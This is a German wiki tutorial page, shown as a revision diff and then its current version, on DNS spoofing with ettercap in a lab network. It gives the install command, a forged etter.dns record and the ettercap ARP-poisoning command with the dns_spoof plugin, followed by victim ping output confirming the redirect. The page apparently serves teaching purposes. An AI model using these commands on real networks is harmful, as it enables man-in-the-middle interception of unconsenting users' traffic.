Dnspoof mit ettercap plugin: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(9 dazwischenliegende Versionen desselben Benutzers werden nicht angezeigt)
Zeile 2: Zeile 2:
 
*apt-get install ettercap-graphical
 
*apt-get install ettercap-graphical
 
=OPFER=
 
=OPFER=
*host -4 www.xinux.de
+
*host -4 xinux.de
  www.xinux.de has address 136.243.187.66
+
  xinux.de has address 94.130.248.215
 +
 
 +
=Angreifer=
 
==host anlegen==
 
==host anlegen==
*echo -e "www.xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns
+
*echo -e "xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns
  
 
==ettercap mit dns plugin starten==
 
==ettercap mit dns plugin starten==
*OPFER=10.0.10.104
+
*OPFER=10.0.10.102
 
*ANGREIFER=10.0.10.101
 
*ANGREIFER=10.0.10.101
 
*ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
 
*ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//
 +
 
=OPFER=
 
=OPFER=
*ping www.xinux.de
+
*ping xinux.de  
 
  PING www.xinux.de (10.0.10.101) 56(84) bytes of data.
 
  PING www.xinux.de (10.0.10.101) 56(84) bytes of data.
 
  64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
 
  64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
 
  64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
 
  64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
 
  64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms
 
  64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms

Aktuelle Version vom 10. April 2024, 07:04 Uhr

Packet

  • apt-get install ettercap-graphical

OPFER

  • host -4 xinux.de
xinux.de has address 94.130.248.215

Angreifer

host anlegen

  • echo -e "xinux.de A 10.0.10.101" > /etc/ettercap/etter.dns

ettercap mit dns plugin starten

  • OPFER=10.0.10.102
  • ANGREIFER=10.0.10.101
  • ettercap -Tq -i eth0 -M arp -P dns_spoof /$OPFER,$ANGREIFER///$ANGREIFER,$OPFER//

OPFER

  • ping xinux.de
PING www.xinux.de (10.0.10.101) 56(84) bytes of data.
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=1 ttl=64 time=0.444 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=2 ttl=64 time=0.395 ms
64 bytes from kali.secure.local (10.0.10.101): icmp_seq=3 ttl=64 time=0.263 ms